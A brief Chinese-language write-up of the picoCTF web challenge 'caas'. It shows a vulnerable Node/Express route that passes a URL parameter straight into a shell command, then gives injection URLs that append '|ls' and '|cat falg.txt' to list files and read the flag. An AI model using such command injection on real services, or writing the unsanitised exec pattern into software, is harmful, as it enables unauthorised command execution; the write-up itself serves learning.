WriteUp

caas

1 分鐘
約 113 字

分類:Web
難度:Medium

工具 #

None

過程 #

看原始碼就是一個 Call 指令的服務

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

所以直接嘗試指令連接來叫其他指令先打這支 URL

https://caas.mars.picoctf.net/cowsay/hi

這裡回傳很正常,因為還沒連接

https://caas.mars.picoctf.net/cowsay/hi|ls

這裡就會爆出目前目錄

然後會看到他的 flag 還拼錯了

https://caas.mars.picoctf.net/cowsay/hi|cat%20falg.txt

OK 答案很詭異但就是答案